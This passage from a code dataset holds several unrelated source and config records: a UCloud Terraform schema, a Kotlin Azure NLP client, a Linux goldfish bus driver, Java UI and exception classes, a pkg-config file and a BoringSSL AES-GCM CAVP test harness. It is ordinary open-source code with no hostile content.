\"Info\": {\n \"domain\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"id\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"path\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n },\n \"listener_id\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"load_balancer_id\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"output_file\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"total_count\": {\n \"Type\": \"Int\",\n \"Computed\": true\n }\n },\n \"ucloud_lb_ssls\": {\n \"ids\": {\n \"Type\": \"Set\",\n \"Optional\": true,\n \"Elem\": {\n \"Type\": \"SchemaElements\",\n \"ElementsType\": \"String\"\n }\n },\n \"lb_ssls\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"create_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"id\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"name\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n },\n \"name_regex\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"output_file\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"total_count\": {\n \"Type\": \"Int\",\n \"Computed\": true\n }\n },\n \"ucloud_lbs\": {\n \"ids\": {\n \"Type\": \"Set\",\n \"Optional\": true,\n \"Elem\": {\n \"Type\": \"SchemaElements\",\n \"ElementsType\": \"String\"\n }\n },\n \"lbs\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"create_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"id\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"internal\": {\n \"Type\": \"Bool\",\n \"Computed\": true\n },\n \"ip_set\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"internet_type\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"ip\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n },\n \"name\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"private_ip\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"remark\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"subnet_id\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"tag\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"vpc_id\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n },\n \"name_regex\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"output_file\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"subnet_id\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"total_count\": {\n \"Type\": \"Int\",\n \"Computed\": true\n },\n \"vpc_id\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n }\n },\n \"ucloud_projects\": {\n \"is_finance\": {\n \"Type\": \"Bool\",\n \"Optional\": true\n },\n \"name_regex\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"output_file\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"projects\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"create_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"id\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"member_count\": {\n \"Type\": \"Int\",\n \"Computed\": true\n },\n \"name\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"parent_id\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"parent_name\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"resource_count\": {\n \"Type\": \"Int\",\n \"Computed\": true\n }\n }\n }\n },\n \"total_count\": {\n \"Type\": \"Int\",\n \"Computed\": true\n }\n },\n \"ucloud_security_groups\": {\n \"ids\": {\n \"Type\": \"Set\",\n \"Optional\": true,\n \"Elem\": {\n \"Type\": \"SchemaElements\",\n \"ElementsType\": \"String\"\n }\n },\n \"name_regex\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"output_file\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"security_groups\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"create_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"id\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"name\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"remark\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"rules\": {\n \"Type\": \"List\",\n \"Required\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"cidr_block\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"policy\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"port_range\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"priority\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"protocol\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n },\n \"tag\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"type\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n },\n \"total_count\": {\n \"Type\": \"Int\",\n \"Computed\": true\n },\n \"type\": {\n \"Type\": \"String\",\n \"Optional\": true\n }\n },\n \"ucloud_subnets\": {\n \"ids\": {\n \"Type\": \"Set\",\n \"Optional\": true,\n \"Elem\": {\n \"Type\": \"SchemaElements\",\n \"ElementsType\": \"String\"\n }\n },\n \"name_regex\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"output_file\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"subnets\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"cidr_block\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"create_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"id\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"name\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"remark\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"tag\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n },\n \"tag\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"total_count\": {\n \"Type\": \"Int\",\n \"Computed\": true\n },\n \"vpc_id\": {\n \"Type\": \"String\",\n \"Optional\": true\n }\n },\n \"ucloud_vpcs\": {\n \"ids\": {\n \"Type\": \"Set\",\n \"Optional\": true,\n \"Elem\": {\n \"Type\": \"SchemaElements\",\n \"ElementsType\": \"String\"\n }\n },\n \"name_regex\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"output_file\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"tag\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"total_count\": {\n \"Type\": \"Int\",\n \"Computed\": true\n },\n \"vpcs\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"cidr_blocks\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaElements\",\n \"ElementsType\": \"String\"\n }\n },\n \"create_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"id\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"name\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"tag\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"update_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n }\n },\n \"ucloud_zones\": {\n \"output_file\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"total_count\": {\n \"Type\": \"Int\",\n \"Computed\": true\n },\n \"zones\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"id\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n }\n }\n }\n}"} {"text": "package apoc.nlp.azure\n\nimport apoc.result.NodeWithMapResult\nimport apoc.util.JsonUtil\nimport org.neo4j.graphdb.Node\nimport org.neo4j.logging.Log\nimport java.io.DataOutputStream\nimport java.net.URL\nimport javax.net.ssl.HttpsURLConnection\n\n\nenum class AzureEndpoint(val method: String) {\n SENTIMENT(\"/text/analytics/v2.1/sentiment\"),\n KEY_PHRASES(\"/text/analytics/v2.1/keyPhrases\"),\n VISION(\"/vision/v2.1/analyze\"),\n ENTITIES(\"/text/analytics/v2.1/entities\")\n}\n\nclass RealAzureClient(private val baseUrl: String, private val key: String, private val log: Log, val config: Map) : AzureClient {\n\n private val nodeProperty = config.getOrDefault(\"nodeProperty\", \"text\").toString()\n\n companion object {\n fun responseToNodeWithMapResult(resp: Map, source: List): NodeWithMapResult {\n val nodeId = resp.getValue(\"id\").toString().toLong()\n val node = source.find { it.id == nodeId }\n return NodeWithMapResult(node, resp, emptyMap())\n }\n }\n\n private fun postData(method: String, subscriptionKeyValue: String, data: List>, config: Map = emptyMap()): List> {\n val fullUrl = baseUrl + method + config.map { \"${it.key}=${it.value}\" }\n .joinToString(\"&\")\n .also { if (it.isNullOrBlank()) it else \"?$it\" }\n val url = URL(fullUrl)\n return postData(url, subscriptionKeyValue, data)\n }\n\n private fun postData(url: URL, subscriptionKeyValue: String, data: List>): List> {\n val connection = url.openConnection() as HttpsURLConnection\n connection.requestMethod = \"POST\"\n connection.setRequestProperty(\"Ocp-Apim-Subscription-Key\", subscriptionKeyValue)\n connection.doOutput = true\n\n connection.setRequestProperty(\"Content-Type\", \"text/json\")\n DataOutputStream(connection.outputStream).use { it.write(JsonUtil.writeValueAsBytes(mapOf(\"documents\" to convertInput(data)))) }\n\n return connection.inputStream\n .use { JsonUtil.OBJECT_MAPPER.readValue(it, Any::class.java) }\n .let { result ->\n val documents = (result as Map)[\"documents\"] as List>\n documents.map { it as Map }\n }\n }\n\n private fun convertInput(data: Any): List> {\n return when (data) {\n is Map<*, *> -> listOf(data as Map)\n is Collection<*> -> data.filterNotNull().map { convertInput(it) }.flatten()\n is String -> convertInput(mapOf(\"id\" to 1, \"text\" to data))\n else -> throw java.lang.RuntimeException(\"Class ${data::class.java.name} not supported\")\n }\n }\n\n override fun entities(nodes: List, batchId: Int): List> {\n val data = nodes.map { node -> mapOf(\"id\" to node.id, \"text\" to node.getProperty(nodeProperty)) }\n return postData(AzureEndpoint.ENTITIES.method, key, data)\n }\n\n override fun sentiment(nodes: List, batchId: Int): List> {\n val data = nodes.map { node -> mapOf(\"id\" to node.id, \"text\" to node.getProperty(nodeProperty)) }\n val result = postData(AzureEndpoint.SENTIMENT.method, key, data)\n return result\n }\n\n override fun keyPhrases(nodes: List, batchId: Int): List> {\n val data = nodes.map { node -> mapOf(\"id\" to node.id, \"text\" to node.getProperty(nodeProperty)) }\n val result = postData(AzureEndpoint.KEY_PHRASES.method, key, data)\n return result\n }\n\n}"} {"text": "{\n \"created_at\": \"2015-02-27T22:29:02.913710\", \n \"description\": \"use Autoprefixer instead. <3\", \n \"fork\": false, \n \"full_name\": \"paulirish/css3please\", \n \"language\": \"JavaScript\", \n \"updated_at\": \"2015-02-27T23:43:50.650753\"\n}"} {"text": "[\"0.1.0\"]\ngit-tree-sha1 = \"11ce42726a34fc11546048138f4c00113cda9ba2\"\n\n[\"0.1.1\"]\ngit-tree-sha1 = \"1c849eedd5e79cf4c8a9260e634c092fdcc030e1\"\n\n[\"0.2.0\"]\ngit-tree-sha1 = \"3c613b70dd38a91352ff9143f68503d475137026\"\n\n[\"0.3.0\"]\ngit-tree-sha1 = \"9a6969f409bfec28afc19d2eafffdb240e7ae1b1\"\n"} {"text": "\n \n \n \n \n \n \n \n \n \n \n \n"} {"text": "/***\n * Copyright (c) 2009 Caelum - www.caelum.com.br/opensource\n * All rights reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); \n * you may not use this file except in compliance with the License. \n * You may obtain a copy of the License at \n * \n * \thttp://www.apache.org/licenses/LICENSE-2.0 \n * \n * Unless required by applicable law or agreed to in writing, software \n * distributed under the License is distributed on an \"AS IS\" BASIS, \n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \n * See the License for the specific language governing permissions and \n * limitations under the License. \n */\n\npackage br.com.caelum.vraptor.http.route;\n\nimport javax.enterprise.inject.Vetoed;\n\nimport br.com.caelum.vraptor.VRaptorException;\n\n/**\n * A route was not found for the specified parameters.\n * \n * @author guilherme silveira\n */\n@Vetoed\npublic class RouteNotFoundException extends VRaptorException {\n\n\tprivate static final long serialVersionUID = 606801838930057251L;\n\n\tpublic RouteNotFoundException(String msg) {\n\t\tsuper(msg);\n\t}\n\n}\n"} {"text": "/*\n * Copyright (C) 2007 Google, Inc.\n * Copyright (C) 2011 Intel, Inc.\n * Copyright (C) 2013 Intel, Inc.\n *\n * This software is licensed under the terms of the GNU General Public\n * License version 2, as published by the Free Software Foundation, and\n * may be copied, distributed, and modified under those terms.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n */\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#define PDEV_BUS_OP_DONE (0x00)\n#define PDEV_BUS_OP_REMOVE_DEV (0x04)\n#define PDEV_BUS_OP_ADD_DEV (0x08)\n\n#define PDEV_BUS_OP_INIT (0x00)\n\n#define PDEV_BUS_OP (0x00)\n#define PDEV_BUS_GET_NAME (0x04)\n#define PDEV_BUS_NAME_LEN (0x08)\n#define PDEV_BUS_ID (0x0c)\n#define PDEV_BUS_IO_BASE (0x10)\n#define PDEV_BUS_IO_SIZE (0x14)\n#define PDEV_BUS_IRQ (0x18)\n#define PDEV_BUS_IRQ_COUNT (0x1c)\n#define PDEV_BUS_GET_NAME_HIGH (0x20)\n\nstruct pdev_bus_dev {\n\tstruct list_head list;\n\tstruct platform_device pdev;\n\tstruct resource resources[0];\n};\n\nstatic void goldfish_pdev_worker(struct work_struct *work);\n\nstatic void __iomem *pdev_bus_base;\nstatic unsigned long pdev_bus_addr;\nstatic unsigned long pdev_bus_len;\nstatic u32 pdev_bus_irq;\nstatic LIST_HEAD(pdev_bus_new_devices);\nstatic LIST_HEAD(pdev_bus_registered_devices);\nstatic LIST_HEAD(pdev_bus_removed_devices);\nstatic DECLARE_WORK(pdev_bus_worker, goldfish_pdev_worker);\n\n\nstatic void goldfish_pdev_worker(struct work_struct *work)\n{\n\tint ret;\n\tstruct pdev_bus_dev *pos, *n;\n\n\tlist_for_each_entry_safe(pos, n, &pdev_bus_removed_devices, list) {\n\t\tlist_del(&pos->list);\n\t\tplatform_device_unregister(&pos->pdev);\n\t\tkfree(pos);\n\t}\n\tlist_for_each_entry_safe(pos, n, &pdev_bus_new_devices, list) {\n\t\tlist_del(&pos->list);\n\t\tret = platform_device_register(&pos->pdev);\n\t\tif (ret)\n\t\t\tpr_err(\"goldfish_pdev_worker failed to register device, %s\\n\",\n\t\t\t\t\t\t\t\tpos->pdev.name);\n\t\tlist_add_tail(&pos->list, &pdev_bus_registered_devices);\n\t}\n}\n\nstatic void goldfish_pdev_remove(void)\n{\n\tstruct pdev_bus_dev *pos, *n;\n\tu32 base;\n\n\tbase = readl(pdev_bus_base + PDEV_BUS_IO_BASE);\n\n\tlist_for_each_entry_safe(pos, n, &pdev_bus_new_devices, list) {\n\t\tif (pos->resources[0].start == base) {\n\t\t\tlist_del(&pos->list);\n\t\t\tkfree(pos);\n\t\t\treturn;\n\t\t}\n\t}\n\tlist_for_each_entry_safe(pos, n, &pdev_bus_registered_devices, list) {\n\t\tif (pos->resources[0].start == base) {\n\t\t\tlist_del(&pos->list);\n\t\t\tlist_add_tail(&pos->list, &pdev_bus_removed_devices);\n\t\t\tschedule_work(&pdev_bus_worker);\n\t\t\treturn;\n\t\t}\n\t};\n\tpr_err(\"goldfish_pdev_remove could not find device at %x\\n\", base);\n}\n\nstatic int goldfish_new_pdev(void)\n{\n\tstruct pdev_bus_dev *dev;\n\tu32 name_len;\n\tu32 irq = -1, irq_count;\n\tint resource_count = 2;\n\tu32 base;\n\tchar *name;\n\n\tbase = readl(pdev_bus_base + PDEV_BUS_IO_BASE);\n\n\tirq_count = readl(pdev_bus_base + PDEV_BUS_IRQ_COUNT);\n\tname_len = readl(pdev_bus_base + PDEV_BUS_NAME_LEN);\n\tif (irq_count)\n\t\tresource_count++;\n\n\tdev = kzalloc(sizeof(*dev) +\n\t\tsizeof(struct resource) * resource_count +\n\t\tname_len + 1 + sizeof(*dev->pdev.dev.dma_mask), GFP_ATOMIC);\n\tif (dev == NULL)\n\t\treturn -ENOMEM;\n\n\tdev->pdev.num_resources = resource_count;\n\tdev->pdev.resource = (struct resource *)(dev + 1);\n\tdev->pdev.name = name = (char *)(dev->pdev.resource + resource_count);\n\tdev->pdev.dev.coherent_dma_mask = ~0;\n\tdev->pdev.dev.dma_mask = (void *)(dev->pdev.name + name_len + 1);\n\t*dev->pdev.dev.dma_mask = ~0;\n\n\tgf_write_ptr(name, pdev_bus_base + PDEV_BUS_GET_NAME,\n\t\tpdev_bus_base + PDEV_BUS_GET_NAME_HIGH);\n\n\tname[name_len] = '\\0';\n\tdev->pdev.id = readl(pdev_bus_base + PDEV_BUS_ID);\n\tdev->pdev.resource[0].start = base;\n\tdev->pdev.resource[0].end = base +\n\t\t\t\treadl(pdev_bus_base + PDEV_BUS_IO_SIZE) - 1;\n\tdev->pdev.resource[0].flags = IORESOURCE_MEM;\n\tif (irq_count) {\n\t\tirq = readl(pdev_bus_base + PDEV_BUS_IRQ);\n\t\tdev->pdev.resource[1].start = irq;\n\t\tdev->pdev.resource[1].end = irq + irq_count - 1;\n\t\tdev->pdev.resource[1].flags = IORESOURCE_IRQ;\n\t}\n\n\tpr_debug(\"goldfish_new_pdev %s at %x irq %d\\n\", name, base, irq);\n\tlist_add_tail(&dev->list, &pdev_bus_new_devices);\n\tschedule_work(&pdev_bus_worker);\n\n\treturn 0;\n}\n\nstatic irqreturn_t goldfish_pdev_bus_interrupt(int irq, void *dev_id)\n{\n\tirqreturn_t ret = IRQ_NONE;\n\n\twhile (1) {\n\t\tu32 op = readl(pdev_bus_base + PDEV_BUS_OP);\n\n\t\tswitch (op) {\n\t\tcase PDEV_BUS_OP_REMOVE_DEV:\n\t\t\tgoldfish_pdev_remove();\n\t\t\tret = IRQ_HANDLED;\n\t\t\tbreak;\n\n\t\tcase PDEV_BUS_OP_ADD_DEV:\n\t\t\tgoldfish_new_pdev();\n\t\t\tret = IRQ_HANDLED;\n\t\t\tbreak;\n\n\t\tcase PDEV_BUS_OP_DONE:\n\t\tdefault:\n\t\t\treturn ret;\n\t\t}\n\t}\n}\n\nstatic int goldfish_pdev_bus_probe(struct platform_device *pdev)\n{\n\tint ret;\n\tstruct resource *r;\n\n\tr = platform_get_resource(pdev, IORESOURCE_MEM, 0);\n\tif (r == NULL)\n\t\treturn -EINVAL;\n\n\tpdev_bus_addr = r->start;\n\tpdev_bus_len = resource_size(r);\n\n\tpdev_bus_base = ioremap(pdev_bus_addr, pdev_bus_len);\n\tif (pdev_bus_base == NULL) {\n\t\tret = -ENOMEM;\n\t\tdev_err(&pdev->dev, \"unable to map Goldfish MMIO.\\n\");\n\t\tgoto free_resources;\n\t}\n\n\tr = platform_get_resource(pdev, IORESOURCE_IRQ, 0);\n\tif (r == NULL) {\n\t\tret = -ENOENT;\n\t\tgoto free_map;\n\t}\n\n\tpdev_bus_irq = r->start;\n\n\tret = request_irq(pdev_bus_irq, goldfish_pdev_bus_interrupt,\n\t\t\t\tIRQF_SHARED, \"goldfish_pdev_bus\", pdev);\n\tif (ret) {\n\t\tdev_err(&pdev->dev, \"unable to request Goldfish IRQ\\n\");\n\t\tgoto free_map;\n\t}\n\n\twritel(PDEV_BUS_OP_INIT, pdev_bus_base + PDEV_BUS_OP);\n\treturn 0;\n\nfree_map:\n\tiounmap(pdev_bus_base);\nfree_resources:\n\trelease_mem_region(pdev_bus_addr, pdev_bus_len);\n\treturn ret;\n}\n\nstatic struct platform_driver goldfish_pdev_bus_driver = {\n\t.probe = goldfish_pdev_bus_probe,\n\t.driver = {\n\t\t.name = \"goldfish_pdev_bus\"\n\t}\n};\nbuiltin_platform_driver(goldfish_pdev_bus_driver);\n"} {"text": "/**\n * \n */\npackage com.hangum.tadpole.rdb.core.viewers.object.sub.rdb.table;\n\nimport org.eclipse.jface.viewers.TableViewer;\nimport org.eclipse.jface.viewers.TextCellEditor;\nimport org.eclipse.swt.SWT;\nimport org.eclipse.swt.events.KeyEvent;\nimport org.eclipse.swt.widgets.Composite;\n\n/**\n * @author nilriri\n *\n */\npublic class CommentCellEditor extends TextCellEditor {\n\tprivate TableViewer viewer = null;\n\tprivate int column = -1;\n\n\t/**\n\t * \n\t */\n\tpublic CommentCellEditor() {\n\t}\n\n\t/**\n\t * @param parent\n\t */\n\tpublic CommentCellEditor(Composite parent) {\n\t\tsuper(parent);\n\t}\n\n\t/**\n\t * @param parent\n\t */\n\tpublic CommentCellEditor(int column, TableViewer viewer) {\n\t\tsuper(viewer.getTable());\n\t\tthis.viewer = viewer;\n\t\tthis.column = column;\n\t}\n\n\t/**\n\t * @param parent\n\t * @param style\n\t */\n\tpublic CommentCellEditor(Composite parent, int style) {\n\t\tsuper(parent, style);\n\t}\n\n\t@Override\n protected void keyReleaseOccured(KeyEvent keyEvent) {\n\t\tsuper.keyReleaseOccured(keyEvent);\n\t\t\n\t\tif (keyEvent.keyCode == SWT.ARROW_UP) { \n\t\t\tif (-1 < viewer.getTable().getSelectionIndex()){\n\t\t\t\tObject element = viewer.getElementAt(viewer.getTable().getSelectionIndex() - 1);\n\t\t\t\tif (element != null){ \n\t\t\t\t\tviewer.editElement(element, column);\n\t\t\t\t} else {\n\t\t\t\t\telement = viewer.getElementAt(viewer.getTable().getItemCount() - 1);\n\t\t\t\t\tviewer.editElement(element, column);\n\t\t\t\t}\n\t\t\t}\n\t\t}else if (keyEvent.keyCode == SWT.ARROW_DOWN) { \n\t\t\tif (viewer.getTable().getItemCount() > viewer.getTable().getSelectionIndex()){\n\t\t\t\tObject element = viewer.getElementAt(viewer.getTable().getSelectionIndex() + 1);\n\t\t\t\tif (element != null){ \n\t\t\t\t\tviewer.editElement(element, column);\n\t\t\t\t} else {\n\t\t\t\t\telement = viewer.getElementAt(0);\n\t\t\t\t\tviewer.editElement(element, column);\n\t\t\t\t}\n\t\t\t}\n\t\t}else if (keyEvent.keyCode == SWT.ARROW_LEFT) {\n\t\t\tif (column > 0) {\n\t\t\t\tObject element = viewer.getElementAt(viewer.getTable().getSelectionIndex());\n\t\t\t\tviewer.editElement(element, column - 1);\n\t\t\t\t// 이동하려는 컬럼이 수정불가능한 cell일 경우 이동하지 않는다.\n\t\t\t\t// TODO : viewer에서 column 인덱스를 이용해 수정가능한 컬럼인지 확인하는 방법이 있으면....\n\t\t\t\t// EditingSupport의 canEdit()정보를 이용할 수 없나??\n\t\t\t\tif(!viewer.isCellEditorActive()) viewer.editElement(element, column);\n\t\t\t}\n\t\t} else if (keyEvent.keyCode == SWT.ARROW_RIGHT) {\n\t\t\tif (column < viewer.getTable().getColumnCount() - 1){\n\t\t\t\tObject element = viewer.getElementAt(viewer.getTable().getSelectionIndex());\n\t\t\t\tviewer.editElement(element, column + 1);\n\t\t\t\t// 이동하려는 컬럼이 수정불가능한 cell일 경우 이동하지 않는다.\n\t\t\t\t// TODO : viewer에서 column 인덱스를 이용해 수정가능한 컬럼인지 확인하는 방법이 있으면....\n\t\t\t\t// EditingSupport의 canEdit()정보를 이용할 수 없나??\n\t\t\t\tif(!viewer.isCellEditorActive()) viewer.editElement(element, column);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n"} {"text": "# libvorbisfile pkg-config source file\n\nprefix=@prefix@\nexec_prefix=@exec_prefix@\nlibdir=@libdir@\nincludedir=@includedir@\n\nName: vorbisfile\nDescription: vorbisfile is a library that provides a convenient high-level API for decoding and basic manipulation of all Vorbis I audio streams\nVersion: @VERSION@\nRequires.private: vorbis\nConflicts:\nLibs: -L${libdir} -lvorbisfile\nCflags: -I${includedir}\n"} {"text": "/* Copyright (c) 2017, Google Inc.\n *\n * Permission to use, copy, modify, and/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY\n * SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION\n * OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN\n * CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */\n\n// cavp_aes_gcm_test processes a NIST CAVP AES GCM test vector request file and\n// emits the corresponding response.\n\n#include \n\n#include \n#include \n#include \n#include \n\n#include \"../crypto/test/file_test.h\"\n#include \"../crypto/test/test_util.h\"\n#include \"cavp_test_util.h\"\n\n\nnamespace {\n\nstruct TestCtx {\n const EVP_AEAD *aead;\n};\n\n}\n\nstatic const EVP_AEAD *GetAEAD(const std::string &name, const bool enc) {\n if (name == \"aes-128-gcm\") {\n return EVP_aead_aes_128_gcm();\n } else if (name == \"aes-192-gcm\") {\n return EVP_aead_aes_192_gcm();\n } else if (name == \"aes-256-gcm\") {\n return EVP_aead_aes_256_gcm();\n }\n return nullptr;\n}\n\nstatic bool TestAEADEncrypt(FileTest *t, void *arg) {\n TestCtx *ctx = reinterpret_cast(arg);\n\n std::string key_len_str, iv_len_str, pt_len_str, aad_len_str, tag_len_str;\n if (!t->GetInstruction(&key_len_str, \"Keylen\") ||\n !t->GetInstruction(&iv_len_str, \"IVlen\") ||\n !t->GetInstruction(&pt_len_str, \"PTlen\") ||\n !t->GetInstruction(&aad_len_str, \"AADlen\") ||\n !t->GetInstruction(&tag_len_str, \"Taglen\")) {\n return false;\n }\n\n std::string count;\n std::vector key, iv, pt, aad, tag, ct;\n if (!t->GetAttribute(&count, \"Count\") ||\n !t->GetBytes(&key, \"Key\") ||\n !t->GetBytes(&iv, \"IV\") ||\n !t->GetBytes(&pt, \"PT\") ||\n !t->GetBytes(&aad, \"AAD\") ||\n key.size() * 8 != strtoul(key_len_str.c_str(), nullptr, 0) ||\n iv.size() * 8 != strtoul(iv_len_str.c_str(), nullptr, 0) ||\n pt.size() * 8 != strtoul(pt_len_str.c_str(), nullptr, 0) ||\n aad.size() * 8 != strtoul(aad_len_str.c_str(), nullptr, 0) ||\n iv.size() != 12) {\n return false;\n }\n\n const size_t tag_len = strtoul(tag_len_str.c_str(), nullptr, 0) / 8;\n if (!AEADEncrypt(ctx->aead, &ct, &tag, tag_len, key, pt, aad, iv)) {\n return false;\n }\n printf(\"%s\", t->CurrentTestToString().c_str());\n printf(\"CT = %s\\r\\n\", EncodeHex(ct).c_str());\n printf(\"Tag = %s\\r\\n\\r\\n\", EncodeHex(tag).c_str());\n\n return true;\n}\n\nstatic bool TestAEADDecrypt(FileTest *t, void *arg) {\n TestCtx *ctx = reinterpret_cast(arg);\n\n std::string key_len, iv_len, pt_len_str, aad_len_str, tag_len;\n if (!t->GetInstruction(&key_len, \"Keylen\") ||\n !t->GetInstruction(&iv_len, \"IVlen\") ||\n !t->GetInstruction(&pt_len_str, \"PTlen\") ||\n !t->GetInstruction(&aad_len_str, \"AADlen\") ||\n !t->GetInstruction(&tag_len, \"Taglen\")) {\n t->PrintLine(\"Invalid instruction block.\");\n return false;\n }\n size_t aad_len = strtoul(aad_len_str.c_str(), nullptr, 0) / 8;\n size_t pt_len = strtoul(pt_len_str.c_str(), nullptr, 0) / 8;\n\n std::string count;\n std::vector key, iv, ct, aad, tag, pt;\n if (!t->GetAttribute(&count, \"Count\") ||\n !t->GetBytes(&key, \"Key\") ||\n !t->GetBytes(&aad, \"AAD\") ||\n !t->GetBytes(&tag, \"Tag\") ||\n !t->GetBytes(&iv, \"IV\") ||\n !t->GetBytes(&ct, \"CT\") ||\n key.size() * 8 != strtoul(key_len.c_str(), nullptr, 0) ||\n iv.size() * 8 != strtoul(iv_len.c_str(), nullptr, 0) ||\n ct.size() != pt_len ||\n aad.size() != aad_len ||\n tag.size() * 8 != strtoul(tag_len.c_str(), nullptr, 0)) {\n t->PrintLine(\"Invalid test case\");\n return false;\n }\n\n printf(\"%s\", t->CurrentTestToString().c_str());\n bool aead_result =\n AEADDecrypt(ctx->aead, &pt, pt_len, key, aad, ct, tag, iv);\n if (aead_result) {\n printf(\"PT = %s\\r\\n\\r\\n\", EncodeHex(pt).c_str());\n } else {\n printf(\"FAIL\\r\\n\\r\\n\");\n }\n\n return true;\n}\n\nstatic int usage(char *arg) {\n fprintf(stderr, \"usage: %s (enc|dec) \\n\", arg);\n return 1;\n}\n\nint cavp_aes_gcm_test_main(int argc, char **argv) {\n if (argc != 4) {\n return usage(argv[0]);\n 